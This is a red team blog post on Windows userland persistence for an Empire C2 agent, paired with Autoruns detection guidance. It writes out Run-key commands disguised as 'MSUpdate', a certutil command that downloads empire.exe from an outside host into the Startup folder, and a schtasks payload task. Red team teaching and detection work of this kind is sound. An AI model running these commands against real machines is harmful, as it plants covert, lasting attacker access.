Persistence: Common Userland Techniques (Part 1)

This blog post was written by Amarjit Labhuram.

Introduction

Getting an initial foothold during a red team operation can be time consuming and come with its own challenges. Once an operator has a command and control channel established into the client network, persistence is key to the objective of the engagement so as not to loose the hard earned initial foothold.
Going from the previous blog post I had done on Initial Foothold, I will show some basic persistence techniques at the userland level. By userland, I mean under the context of the user executing the persistence and will have the account’s associated permissions level.
For my lab, I will be using a regular non-privileged user. As shown in Fig.1 below, this is what you should get when an agent calls back after the maldoc gets executed by the victim.

NOTE: I will not be using the inbuilt persistence modules available in Empire but instead will be running the commands on the target box.

Run Registry Keys – T1547.001

Operators can achieve persistence by creating registry keys that execute an arbitrary payload during the logon process of a Windows system. This is one of the oldest tricks in the red team playbooks.

I start off with interacting with the agent that has called back in. Once in interactive mode I can run the following command in the shell to add a key called MSUpdate in the Run registry key that points to the malicious empire.exe binary located in the Temp folder.

reg add “HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run” /v MSUpdate /t REG_SZ /d “C:\Users\tspeedman\AppData\Local\Temp\empire.exe” /f

To verify this has actually happened I checked if the key has been added.

With this set, if the victim was to reboot the machine and log back in, the empire.exe binary will get executed resulting in a new session.

Other registry locations I could use for this kind of persistence are the RunOnce, RunServices and RunServicesOnce registry keys. Below is the syntax of commands you can use for them.

reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce” /v MSUpdate /t REG_SZ /d “C:\Users\tspeedman\AppData\Local\Temp\empire.exe”

reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServices” /v MSUpdate /t REG_SZ /d “C:\Users\tspeedman\ AppData\Local\Temp\empire.exe “

reg add “HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunServicesOnce” /v MSUpdate /t REG_SZ /d “C:\Users\tspeedman\ AppData\Local\Temp\empire.exe “

NOTE: If elevated credentials have been obtained it is preferred to use the Local Machine registry locations instead of the Current User as the payload will executed every time that the system boots regardless of the user who is authenticating with the system.

Startup Folder – T1547.001

A similar tactic to get persistence is by dropping the binary that the adversary wants executed on startup into the Startup Folder. Placing a program within a startup folder will cause the program to execute when a user logs in. There is a startup folder location for individual user accounts as well as a system-wide startup folder that will be checked regardless of which user account logs in. The startup folder path for the current user is:

C:\Users\[Username]\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup

The startup folder path for all users is:

C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp

I will use the startup folder for all users to store the empire.exe binary that will get executed whenever any user logs.

certutil -urlcache -f -split http://10.1.1.5/empire.exe ‘C:\Users\tspeedman\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\empire.exe’

I can verify that the binary has been saved to the startup folder.

With this done, every time the machine startups and user logs in the empire.exe executable will run giving a connection back to the target.

Scheduled Tasks – T1053

Scheduled tasks have been abused by ransomware for a long time and is another commonly used and simple persistence technique. Adversaries can create scheduled tasks that run at a specific time and day and execute arbitrary payloads.

I start off with interacting with the agent that has called back in. Once in interactive mode I can run the following command to generate a new task called MyTask that is scheduled to run daily at 9:00am that will execute the empire.exe binary located in the C:\ root folder.

schtasks /create /tn “MyTask” /sc daily /st 09:00 /tr “C:\empire.exe”

I then checked to verify that the scheduled task has been created.

Execution of the payload can have an expiration date and a self-delete function. The “schtasks” utility provides the necessary options as it is part of its functionality.

Detection Strategies

Microsoft has a Windows internals utility called Autoruns that shows you what programs are configured to run during system bootup or login. On the victim machine run the Autoruns64.exe as administrator.

Once Autoruns starts you will see a window like this.

Going to the Logon tab I can see the Run registry key that was added pointing to the empire.exe binary as well as the empire.exe binary that was dropped to the Startup folder.

Under the Scheduled Task tab I can see the MyTask that points to the empire.exe saved in the root C:\

Autoruns can be of great assistance to defenders looking for these common types of persistence techniques used on machines on their network.

In the next series on persistence, Dharmik Karania and I will cover COM Hijacking and DLL Hijacking techniques.

References

https://www.ired.team/offensive-security/persistence/t1053-schtask

https://attack.mitre.org/techniques/T1547/001/

https://attack.mitre.org/techniques/T1053/

https://attack.mitre.org/techniques/T1546/013/

https://docs.microsoft.com/en-us/sysinternals/downloads/autoruns

https://pentestlab.blog/category/red-team/persistence

Disclaimer

The MacroSec blogs are solely for informational and educational purposes. Any actions and or activities related to the material contained within this website are solely your responsibility. The misuse of the information on this website can result in criminal charges brought against the persons in question. The authors and MacroSec will not be held responsible in the event any criminal charges be brought against any individuals misusing the information in this website to break the law.